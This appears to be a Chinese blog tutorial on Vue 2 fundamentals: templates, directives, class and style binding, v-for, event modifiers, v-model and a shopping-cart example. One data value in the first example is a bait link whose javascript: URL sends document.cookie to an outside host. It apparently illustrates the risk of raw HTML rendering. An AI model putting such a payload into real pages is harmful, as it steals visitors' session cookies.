Vue2系列(lqz)——Vue基础
Vue介绍
一 模板语法
1.1 插值
1.1.1 概述
1 文本 {{}}
2 纯html
3 表达式
注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容
-vm.$data.name
-vm.name
1.1.2 案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
{{name}}
<br>
{{10}}
<br>
{{10+20}}
<br>
{{10>20?'大于':'小于'}}
<br>
{{myhtml}}
</div>
</body>
<script>
new Vue({
el:'#box',
data:{
name:'lqz',
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
}
})
</script>
</html>
二 指令
2.1 文本相关指令
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<p v-text='msg'>原文本会被替换</p>
<div v-html="myhtml"></div>
<div v-show="isShow">显示</div>
<div v-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
msg: 'lqz',
myhtml:'<a href="http://www.baidu.com">点我</a>',
isShow:true,
isCreated:true
}
})
</script>
</html>
2.2 事件指令
<!-- v-on: 指令 简写 @ -->
<!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下，事件对象应该显式传入 -->
<p @click="fn($event)"></p>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button v-on:click="test">点我</button>
<button @click="test()">点我2</button>
<button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
},
methods:{
test(){
console.log('test')
},
test2(ev){
console.log(ev)
},
}
})
</script>
</html>
2.3 属性指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass{
background: red;
}
.yellowclass{
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!--绑定src -->
<img v-bind:src="mysrc"/>
<img :src="mysrc"/>
<!--绑定class-->
<div v-bind:class="red">111111111</div>
<button @click="change">点击变色</button>
<div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
isActive:false,
red:'redclass',
yellow:'yellowclass',
},
methods: {
change(){
this.isActive=!this.isActive
},
}
})
</script>
</html>
三 class与style
3.1 class的三种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
<p :class="classObj">class对象写法</p>
<p :class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
classObj: {
class_a: true,
class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
},
classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')
},
methods: {
}
})
</script>
</html>
3.2 style的写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :style="'background:'+'red'">class三目写法</div>
<div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
<!--vm.isActive=true-->
<p :style="styleobj">class对象写法</p>
<p :style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
styleobj:{
background:'yellow',
fontSize:'30px',
},
styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop
},
methods: {
}
})
</script>
</html>
四 条件渲染
4.1 动态创建删除(v-else)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="handlediv">动态删除添加</button>
<div v-if="isActive">我出现了</div>
<div v-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
},
methods: {
handlediv() {
this.isActive = !this.isActive
}
}
})
</script>
</html>
五 列表渲染(v-for)
5.1 v-if+v-for控制购物车显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="add">加入购物车</button>
<ul v-if="!datalist.length==0">
<li v-for="data in datalist">{{data}}</li>
</ul>
<div v-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
// datalist:['111','222','3333']
datalist:[]
},
methods: {
add(){
this.datalist=['111','222','3333']
},
}
})
</script>
</html>
5.2 v-if/v-else-if/v-else
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div v-if="which==1">1111</div>
<div v-else-if="which==2">222</div>
<div v-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
which:1
},
})
</script>
</html>
5.3 v-for遍历列表，对象
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<ul>
<li v-for="(value,index) in arr">{{value}}---{{index}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) in obj">{{value}}---{{key}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) of obj">{{value}}---{{key}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
arr: ['11', '22', '33'],
obj: {name: 'lqz', age: 18, sex: '男'}
},
})
</script>
</html>
5.4 key值解释
<!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
跟踪每个节点身份，从而重新排序现有元素
理想的key值是每项都有且唯一的值，id等
-->
<ul>
<li v-for="(value,index) in arr" :key="index">{{value}}---{{index}}</li>
</ul>
5.5 数组更新与检测
<!--
1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
-页面不会更改：vm.arr.concat(['44','55'])
-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改：通过索引值更新数组
-解决方案一：
vm.arr[0]
"11"
vm.arr[0]='99'
"99"
vm.arr.splice(0,1,'88')
["99"]
-解决方案二
Vue.set(vm.arr,0,'lqz')
3 上面能更新是因为作者重写了那些方法
-->
六 事件处理
input
change
blur
6.1 input过滤案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!-- <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!-- <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
<p><input type="text" v-model="mytext" @input="handleChange"></p>
<ul>
<li v-for="data in newlist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext: '',
datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
},
methods: {
handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
})
},
},
})
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
// if(item.indexOf('a')>-1){
// return true
// }else {
// return false
// }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
})
</script>
</html>
6.2 简单事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow:true,
},
methods: {
handleShow() {
this.isShow=!this.isShow
},
},
})
</script>
</html>
6.3 事件修饰符
.stop 阻止事件冒泡
.prevent 阻止a链接跳转
.self 只处理自己的事件，子控件冒泡的事件不处理
.once 只处理一次就解绑(抽奖页面)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
<hr>
<ul @click="handleUl">
<li @click="handleLi($event)">111</li>
<li @click.stop="handleLinew">222</li>
<li @click="handleLi">333</li>
</ul>
<br>
<a href="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
<a href="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>
<ul @click.self="handleUl">
<li @click="handleLi2">111</li>
<li @click="handleLi2">222</li>
<li @click="handleLi2">333</li>
</ul>
<button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
},
methods: {
handleUl() {
console.log('ululul')
},
handleLi(ev) {
console.log('lilili')
ev.stopPropagation()
},
handleLi2(){
console.log('safsd')
},
handleLinew() {
console.log('lililinew')
},
handlea(ev) {
ev.preventDefault()
console.log('不跳了')
},
test(){
console.log('test')
},
},
})
</script>
</html>
6.4 按键修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" @keyup="handleKeyUp" v-model="mytext">
<input type="text" @keyup.enter="handleKeyUp2" v-model="mytext">
<!--不是所有的按键都写了，所以可以使用keycode数字-->
<input type="text" @keyup.13="handleKeyUp2" v-model="mytext">
<ul>
<li v-for="data in datalist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
mytext:'',
datalist:[]
},
methods: {
handleKeyUp(ev){
console.log(ev)
if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
}
},
handleKeyUp2(){
this.datalist.push(this.mytext)
},
}
})
</script>
</html>
七 表单控件绑定/双向数据绑定
7.1 v-model基本使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
},
})
</script>
</html>
7.2 checkbox选中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
<br>
<input type="checkbox" v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
radio:false,
},
})
</script>
</html>
7.3 多选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你喜欢的运动</p>
<input type="checkbox" v-model="checkgroup" value="抽烟">抽烟
<input type="checkbox" v-model="checkgroup" value="喝酒">喝酒
<input type="checkbox" v-model="checkgroup" value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
checkgroup:[],
},
})
</script>
</html>
7.4 单选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你最喜欢的编程语言</p>
<input type="radio" value="Python" v-model="radio">Python
<input type="radio" value="Java" v-model="radio">Java
<input type="radio" value="c++" v-model="radio">C++
{{radio}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
radio:'',
},
})
</script>
</html>
7.5 购物车案例
7.5.1 基本购物车
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
}
})
</script>
</html>
7.5.1 全选，全不选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
}
}
})
</script>
</html>
7.5.3 控制加减
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
<button @click="data.number++">+</button>
{{data.number}}
<button @click="handleClick(data)">-</button>
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
},
handleClick(data){
if(data.number==1){
data.number=1
}else{
data.number--
}
}
}
})
</script>
</html>
7.6 v-model之lazy,number,trim
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model.lazy="mytext"> {{mytext}}
<br>
<input type="text" v-model.number="mytext"> {{mytext}}
<br>
<input type="text" v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
},
})
</script>
</html>
Vue2系列(lqz)——Vue基础的更多相关文章
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十八║Vue基础: 指令(下)+计算属性+watch
回顾 今天来晚辣,给公司做了一个小项目,一个瀑布流+动态视频控制的DEMO,有需要的可以联系我,公司的项目就不对外展示了(一个后端程序员真的要干前端了哈哈哈). 书接上文,昨天正式的开始了Vue的代码 ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十九║Vue基础: 样式动态绑定+生命周期
回顾 哈喽大家好,前后端分离系列文章又开始了,今天周一,还是感谢大家花时间来观看我写的博客,周末呢,没有写文章,但是也没有闲着,主要是研究了下遗留问题,看过之前文章的应该知道,之前的在AOP使用Red ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 二十║Vue基础终篇：传值+组件+项目说明
缘起 新的一天又开始啦,大家也应该看到我的标题了,是滴,Vue基础基本就到这里了,咱们回头看看这一路,如果你都看了,并且都会写了,那么现在你就可以自己写一个Demo了,如果再了解一点路由,ajax请求 ...
- Vue基础系列（三）——Vue模板中的数据绑定语法
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（二）——Vue中的methods属性
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家指出. 作者简介: 一个不知名的前端开发 ...
- Vue基础系列（四）——Vue中的指令（上）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（五）——Vue中的指令（中）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- vue基础知识之vue-resource/axios
Vue基础知识之vue-resource和axios(三) vue-resource Vue.js是数据驱动的,这使得我们并不需要直接操作DOM,如果我们不需要使用jQuery的DOM选择器,就没 ...
- Vue基础及脚手架环境搭建
From:http://www.jianshu.com/p/dc5057e7ad0d 一.vue基础 “Vue2.0”跟俺一起全面入坑 01 “Vue2.0”跟俺一起全面入坑 02 “Vue2.0”跟 ...
- Vue基础知识之vue-resource和axios
Vue基础知识之vue-resource和axios 原文链接:http://www.cnblogs.com/Juphy/p/7073027.html vue-resource Vue.js是数据驱 ...
随机推荐
- Min-25 筛学习笔记
Min-25 筛学习笔记 \(\text{By DaiRuiChen007}\) 一.简要介绍 Min-25 筛,是一种能在亚线性时间内求出特定的一类积性函数 \(f(i)\) 的前缀和的算法. 具体 ...
- 衔尾法解决当无法使用空闲中断以及DMA中断时配置DMA接收串口不定长数据
[Ooonly新人贴]记录工作中遇到的问题,话不多说先上干货 问题:类似K线与蓝牙接收部门模块,要求由原来的接收串口中断改为DMA接收.据说要用到空闲中断与DMA中断,但是经仿真发现DMA每完成传输一 ...
- CF1817E Half-sum
题意 有一个大小为 \(N\) 的非负整数集合 \(A\),每次你可以从集合中取任意两个数,并将它们的平均数放回序列.不停操作,知道集合最后剩下两个数.请求出这两个数的差的绝对值的最大值对 \(10^ ...
- 前端检测手机系统是iOS还是android(可实现根据手机系统跳转App下载链接)
快速实现前端检测手机系统是iOS还是android(可实现根据手机系统跳转App下载链接); 下载完整代码请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plug ...
- 前端下拉框组件CCDropDownFilter下拉框 筛选框 仿美团下拉筛选框
快速实现下拉框 筛选框 仿美团下拉筛选框, 请访问uni-app插件市场地址:https://ext.dcloud.net.cn/plugin?id=12421 效果图如下: # 下拉框使用方法 ...
- 牛客题解-mixup2混乱的奶牛(状压dp)
题解-mixup2混乱的奶牛 [原题连接](1026-mixup2混乱的奶牛_2021秋季算法入门班第八章习题:动态规划2 (nowcoder.com)) 题目描述 混乱的奶牛 [Don Piele, ...
- SpringBoot RabbitMQ 实战解决项目中实践
1 基础预览 1.1 环境准备 Springboot 1.5.6.RELEAS Springcloud Dalston.SR2 1.2 交换机类型 交换机是用来发送消息的AMQP实体.交换机拿到一个消 ...
- Docker 中的 .NET 异常了怎么抓 Dump
一:背景 1. 讲故事 有很多朋友跟我说,在 Windows 上看过你文章知道了怎么抓 Crash, CPU爆高,内存暴涨 等各种Dump,为什么你没有写在 Docker 中如何抓的相关文章呢?瞧不上 ...
- k3s 基础 —— 配置 loki
官方文档 核心组件 3 个 chart: promtail 这是一个 agent 代理客户端,用于收集日志,将日志传送给 loki loki 核心组件,主要功能是日志数据的写入与分析.包含 gatew ...
- TCP和UDP的应用场景
传输层的两个协议,TCP(Transmission Control Protocol,传输控制协议)和UDP(User Datagram Protocol,用户数据报协议),有各自的应用场景. TCP ...